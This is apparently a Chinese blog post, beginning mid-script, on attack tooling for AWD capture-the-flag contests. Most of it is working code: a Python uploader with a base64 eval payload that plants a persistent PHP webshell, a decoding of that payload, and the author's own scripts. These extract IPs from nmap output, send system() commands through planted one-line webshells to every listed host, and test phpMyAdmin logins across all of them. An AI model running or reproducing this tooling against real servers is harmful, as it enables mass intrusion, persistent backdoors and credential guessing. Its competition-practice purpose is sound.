data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
data['z1'] = base64.b64encode(Rpath+"/fuck.php")
data["z2"] = base64.b64encode(shell_content)
#print data
res = requests.post(url,data=data)
elif method=="get" :
data[passwd] = "@eval(base64_decode($_GET['z0']));"
data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX0dFVFsiejEiXSk7CiRjPWJhc2U2NF9kZWNvZGUoJF9HRVRbInoyIl0pOwokYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTsKJGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7CiRidWY9IiI7CmZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTEpCiAgICAkYnVmLj1zdWJzdHIoJGMsJGksMSk7CmVjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpKTsKZWNobygifDwtIik7CmRpZSgpOw=='
data['z1'] = base64.b64encode(Rpath+"/fuck.php")
data["z2"] = base64.b64encode(shell_content)
res = requests.post(url,params=data)
else :
print "method err!"
sys.exit()
#判断是否上传成功,失败直接跳过
#print res.content
if res.status_code!=200:
print "[-] %s upload failed!" %ip
return 0
#激活不死马
list=Rfile.split("/")
b_url="http://"+ip
max = len(list)-1
for i in range(1,max):
b_url=b_url+"/"+list[i]
bsm_url = b_url+"/fuck.php"
try :
res = requests.get(bsm_url,timeout=3)
except :
pass
#尝试访问不死马生成的shell
shell_url = b_url+"/.index.php"
res = requests.get(shell_url)
if res.status_code!=200 :
print "[-] %s create shell failed!" %bsm_url
return 0
#输出shell地址
print "[+] %s upload sucessed!" %shell_url
这个函数的灵魂在以下代码,我就解析一个post,get原理是一样的。
if method =="post" :
data[passwd] = "@eval(base64_decode($_POST['z0']));"
data['z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
data['z1'] = base64.b64encode(Rpath+"/fuck.php")
data["z2"] = base64.b64encode(shell_content)
#print data
res = requests.post(url,data=data)
首先先解码base64字符,结果如下:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=base64_decode($_POST["z2"]);
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=1)
$buf.=substr($c,$i,1);
echo(@fwrite(fopen($f,"w"),$buf));
echo("|<-");
die();
可以看到是个php的写入文件的函数。
原理还是很好理解的,但是运行出了一些问题。失败的原因我分析出来了,大概是在这个位置:
在对变量进行分割的时候出现了问题。由于代码量比较大,所以我就不改了,怕改了以后出现大问题。
其实,你只要能把不死马传上去,基本百分之九十的问题就解决了。所以这个脚本有没有其实并不重要。
还有一个GetFlag.py,这个脚本是根据第一个脚本来进行的就是一个flag提取的脚本。这个我们也不深入讨论了。
接下来给大家几个我自己写的脚本。这些都是经过我自己的测试,发现是没有问题的,正好也是AWD攻击的顺序。
扫ip->创建ip表->手动传马->用创建的ip表自动对所有ip一句话进行连接/单次连接某个IP的一句话
跑ip表->用创建的ip表自动跑所有网页后台
第一个就是建立在nmap扫描出ip以后,将ip提取出来,然后手动上传一句话木马,最后提取flag。
第二个是我无意间想到的。有的网页会有网站后台登陆的地方,那么我们是不是可以写一个脚本用于跑每个ip的后台页面呢?假如这个ip忘记改后台密码,岂不是美哉?
ok。那么我们先来看这个最基础的脚本:ip提取。
我做这个脚本的原因是因为如果主办方不给其他人的ip的话,我们就可以用nmap扫描出其他人的ip。虽然python有namp这个模块,但是我这头不知道为什么用不了,所以只能想到这个折中的办法了。
第一步,先用namp扫面网段中所有ip。
接着,我们将这个保存。到桌面就行。打开以后发现是一堆乱码。
如何提取到我们要的ip呢?原理其实很简单,就是匹配每一行的字符就行了。多的就不解释了,上代码。
import re
name=input("input you zenmap_saved file.\n")
file=open(name,"r")
file2=open("ip.txt","w")
rea=file.readlines()
number=0
for i in rea:
text=re.match("Nmap scan report for ",i)
if (text!=None):
if (i[21].isdigit()):
file2.write(i[21:])
number+=1
else:
l=[]
begin=i.find('(')
end=i.rfind(')')
ss=i[begin+1:end]
file2.write(ss+"\n")
number+=1
file.close()
file2.close()
print("down.the ip_table have been saved \'ip.txt\'.it has "+str(number)+" resualt.")
'''
说明:
1.file是zenmap保存的扫描结果
2.flie2是zenmap保存的提取的ip的结果
'''
要输入两个东西,第一个是nmap保存的结果文件,比如new.xml。第二个就是你提取以后的文件存储位置。
运行结果如图。
由于这个是我之前用学校机房电脑做测试的时候生成的,所以ip有很多。你其实手动创建ip表也可以,格式写成如图的就行。
这个脚本是万一你很惨,只传上去一个一句话木马,那么就可以进行个单次连接。代码如下。
import requests
url="http://192.168.1.110"
shell="/.index.php"
passwd="wzc"
port='80'
payload={
passwd:"system(\'dir\');"
#cd c:\\flag && type flag.txt
}
url1=url+':'+port+shell
print(url1)
response=requests.post(url1,payload,timeout=1)
response.encoding=response.apparent_encoding
print(response.text)
file=open("flag.txt","a")
file.write(response.text)
file.close()
好好看看,学过python的人应该都懂吧?改哪我就不说了。
首先把之前生成的ip表放到这个脚本同目录下,然后执行这个代码。
import requests
import re
cmd=input("please input command:\n(exp:cd c:\\\\flag && type flag.txt)\n")
site=input("please input shell site:(exp:/upload/php.php)\n")
file1=open("ip.txt","r")
contain=file1.readlines()
for ip in contain:
ip=ip.replace("\n","")
url="http://"+ip
shell=site
#"/upload/php.php"
passwd="wzc"
port='80'
payload={
passwd:"system(\'"+cmd+"\');"
}
#cd c:\\flag && type flag.txt
url1=url+':'+port+shell
response=requests.post(url1,payload,timeout=1)
response.encoding=response.apparent_encoding
print(response.text)
file=open("flag.txt","a")
file.write(ip+" flag is :"+response.text+"\n\n")
file.close()
print("flag get down.")
原理也很简单,就是在第一步上加了一个循环。由于所有人用的是同一个网站,因此马的位置都是固定的,所以直接输入这个参数就行了。剩下就没啥可说的了。
直接上脚本。记得把ip表也放在同一个目录下。
import requests
import re
name=input("input test name\n")
passwd=input("input test passwd\n")
address=input("input site(exp:/phpMyAdmin/index.php)\n")
file1=open("ip.txt","r")
contain=file1.readlines()
for ip in contain:
ip=ip.replace("\n","")
url="http://"+ip+address
#http://192.168.1.108/phpMyAdmin/index.php
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36"
}
data = {
"pma_username":name,
"pma_password":passwd,
"server":"1",
"lang":"zh_CN"
}
r = requests.post(url,headers=headers,data=data)
if re.search("无法",r.text)==None:
file=open("database_test.txt","a")
file.write(ip+" database username:"+name+" password:"+passwd+"\n")
file.close()
print(ip+" database success.")
else:
print(ip+" database error.")
前面的就不说了,说说比较关键的几个地方。
第一个是data字典里面的表。写这个代码我是基于phpstudy后台登陆页面写的,而正式比赛是不一定用这个,因此需要修改。如图,这个是我参数的来源,你们到时候赛场上照着改就行了。
如图右下角的参数就是data表中的参数。
第二个要改的地方就是对页面登陆是否成功的判断。phpstudy后台无法登陆成功的话就会显示包含“无法登陆”之类的字符,所以我写了个无法,到时候需要按实际情况改。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。